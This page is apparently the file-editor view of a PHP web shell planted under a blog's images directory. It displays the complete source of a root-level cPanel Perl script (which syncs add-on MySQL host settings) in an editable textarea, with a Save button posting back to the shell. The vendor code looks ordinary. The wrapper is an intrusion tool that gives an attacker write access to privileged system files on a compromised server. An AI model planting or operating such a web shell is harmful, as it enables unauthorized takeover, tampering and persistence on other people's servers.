<h2>Edit File - synccpaddonswithsqlhost</h2><form method="POST" style="padding:20px">
                <input type="hidden" name="edit_file" value="/usr/local/cpanel/scripts/synccpaddonswithsqlhost">
                <textarea name="file_content" style="width:100%; height:400px; font-family:monospace;">#!/usr/local/cpanel/3rdparty/bin/perl

# cpanel - scripts/synccpaddonswithsqlhost         Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

use strict;
use warnings;
use Carp;
use File::Spec;

use Cpanel::AccessIds ();
use Cpanel::OS        ();
use Cpanel::cPAddons  ();

my %valid_addons;
my $myhost;
my $cpaddons_base = &#039;/usr/local/cpanel/cpaddons&#039;;

exit( run(@ARGV) // 0 ) unless caller;

sub run {
    my (@args) = @_;

    unshift @INC, $cpaddons_base;

    if ( !Cpanel::OS::supports_cpaddons() ) {
        die qq[cPAddons are not supported on this distro.\n];
    }

    if ( -e q[/var/cpanel/cpaddons.disabled] ) {
        die qq[cPAddons are disabled on this server.\n];
    }

    %valid_addons = map { $_ =&gt; 1 } list_cpaddons();
    $myhost       = get_root_mysql_host();

    print &quot;Syncing Site Software installations with current MySQL host setting!\n\n&quot;;

    for my $user ( @{ get_all_users_or_arg_ref() } ) {
        process_user($user);
    }

    return;
}

sub process_user {
    my ($user) = @_;
    print &quot;Processing $user...\n&quot;;

    my $home = ( getpwnam($user) )[7];

    if ( !defined $home ) {
        carp &quot;Could not determine home for $user&quot;;
        return;
    }

    my @cpaddons;

    if ( opendir my $cpaddons_dh, &quot;$home/.cpaddons/&quot; ) {
        @cpaddons = grep { /\:\:/ } readdir $cpaddons_dh;
        closedir $cpaddons_dh;
    }
    else {
        carp &quot;Can not read .cpaddons/ for $user, skipping: $!&quot;;
        return;
    }

    my $cpaddons_processed = process_user_cpaddons( $user, $home, @cpaddons );

    if ($cpaddons_processed) {
        my $s = $cpaddons_processed == 1 ? &#039;&#039; : &#039;s&#039;;
        print &quot;$user had $cpaddons_processed cpaddon$s synced\n&quot;;
    }
    else {
        print &quot;$user had no cpaddons needing their mysql host synced\n&quot;;
    }
    print &quot;$user Done!\n\n&quot;;

    return 1;
}

sub process_user_cpaddons {
    my ( $user, $home, @cpaddons ) = @_;
    my $cpaddons_processed = 0;

    for my $aod (@cpaddons) {
        print &quot;\tChecking $aod...\n&quot;;

        my $install_hashref = {};

        if ( !Cpanel::cPAddons::_read_cache( &quot;$home/.cpaddons/$aod&quot;, $install_hashref, $user ) ) {
            carp &quot;Could not read $aod: $!&quot;;
            next;
        }

        my $mod = $aod;
        $mod =~ s{\.yaml$}{};
        $mod =~ s{\.\d+$}{};

        if ( !exists( $valid_addons{$mod} ) ) {
            carp &quot;Skipping $aod, It does not appear that $mod is a valid or installed cPaddon.&quot;;
            next;
        }

        my $mod_file = $mod;
        $mod_file =~ s/::/\//g;
        $mod_file = $mod_file . &#039;.pm&#039;;
        require $mod_file;

        if ($@) {
            carp &quot;Skipping $aod, Could not get $mod info (is $mod installed?): $!&quot;;
            next;
        }
        else {
            no strict &#039;refs&#039;;
            my $info_hr = ${&quot;$mod\:\:meta_info&quot;};
            use strict &#039;refs&#039;;

            for my $db ( @{ $info_hr-&gt;{&#039;mysql&#039;} } ) {

                my $current_setting = $install_hashref-&gt;{&quot;mysql.$db.sqlhost&quot;} || &#039;&#039;;
                next if ( $myhost eq $current_setting )                       || ( !$myhost || !$current_setting );
                print &quot;\t\tDifference detected, syncing...\n&quot;;

                for my $conf ( @{ $info_hr-&gt;{&#039;config_files&#039;} } ) {
                    my $path = File::Spec-&gt;catdir( $install_hashref-&gt;{&#039;installdir&#039;}, $conf );
                    print &quot;\t\t\tProcessing $path...&quot;;
                    process_user_config_file( $user, $current_setting, $myhost, $path );
                    print &quot;Done!\n&quot;;
                }
                $install_hashref-&gt;{&quot;mysql.$db.sqlhost&quot;} = $myhost;
                $install_hashref-&gt;{&#039;mysql&#039;}{$db}{&#039;sqlhost&#039;} = $myhost;

                if ( !Cpanel::cPAddons::_write_cache( &quot;$home/.cpaddons/$aod&quot;, $install_hashref, $user ) ) {
                    carp &quot;Could not save $aod: $!&quot;;
                    next;
                }

                print &quot;\t\t$aod is done\n&quot;;
                $cpaddons_processed++;
            }
        }
    }

    return;
}

sub process_user_config_file {
    my ( $user, $current_setting, $host, $path ) = @_;

    Cpanel::AccessIds::do_as_user(
        $user,
        sub {
            if ( open( my $fh, &#039;+&lt;&#039;, $path ) ) {
                my @lines = map { my $s = $_; $s =~ s/$current_setting/$myhost/g; $s } &lt;$fh&gt;;
                seek $fh, 0, 0;
                print {$fh} join( &#039;&#039;, @lines );
                truncate( $fh, tell $fh );
                close($fh);
            }
            else {
                carp &quot;Failed to open &#039;$path&#039; for reading and writing: $!&quot;;
            }
        },
    );

    return;
}

sub get_root_mysql_host {
    my $myhost = &#039;&#039;;
    open my $mycnf_fh, &#039;&lt;&#039;, &#039;/root/.my.cnf&#039;
      or croak &quot;Set MySQL root passwd: $!&quot;;
    while (&lt;$mycnf_fh&gt;) {
        if ( $_ =~ m/host\s*\=/ ) {
            ($myhost) = $_ =~ m/host\s*\=\s*\&quot;?([^\&quot;\s]+)\&quot;?/;
            last;
        }
    }
    close $mycnf_fh;
    return $myhost || &#039;localhost&#039;;
}

sub get_all_users_or_arg_ref {
    my $arg_location = shift || 0;
    my $user_to_run  = defined $ARGV[$arg_location]
      &amp;&amp; $ARGV[$arg_location] ? $ARGV[$arg_location] : &#039;&#039;;
    my $user_lookup_ref = get_user_lookup_ref();

    my @users_to_transform = keys %{$user_lookup_ref};

    if ($user_to_run) {
        if ( exists $user_lookup_ref-&gt;{$user_to_run} ) {
            @users_to_transform = ($user_to_run);
        }
        else {
            croak &#039;Unknown user&#039;;
        }
    }
    return \@users_to_transform;
}

sub get_user_lookup_ref {
    my $user_lookup = {};

    open( my $TUD, &#039;&lt;&#039;, &#039;/etc/trueuserdomains&#039; ) or die &quot;trueuserdomains failed: $!&quot;;
    while (&lt;$TUD&gt;) {
        my ($user) = $_ =~ m/\:\s+(\w+)/;
        $user_lookup-&gt;{$user}++ if $user;
    }
    close $TUD;
    return $user_lookup;
}

sub list_cpaddons {
    my @cpaddons;

    opendir( my $bdh, $cpaddons_base );
    my @pals = grep !/^\.+$/, readdir $bdh;
    closedir $bdh;

    for my $pal (@pals) {
        next if !-d &quot;$cpaddons_base/$pal&quot;;

        opendir( my $cdh, &quot;$cpaddons_base/$pal&quot; );
        my @cats = grep !/^\.+$/, readdir $cdh;
        closedir($cdh);

        for my $cat (@cats) {
            next if !-d &quot;$cpaddons_base/$pal/$cat&quot;;

            opendir( my $sdh, &quot;$cpaddons_base/$pal/$cat&quot; );
            my @subs = grep /\.pm$/, readdir $sdh;
            closedir($sdh);

            for my $sub (@subs) {
                $sub =~ s/\.pm$//;
                push @cpaddons, &quot;$pal\:\:$cat\:\:$sub&quot;;
            }
        }
    }

    return @cpaddons;
}

1;
</textarea><br><br>
                <button type="submit" class="btn">Save</button>
                <a href="/blog/images/1781637752_1754069486_sh2.php?dir=." class="btn gray">Kembali</a>
              </form>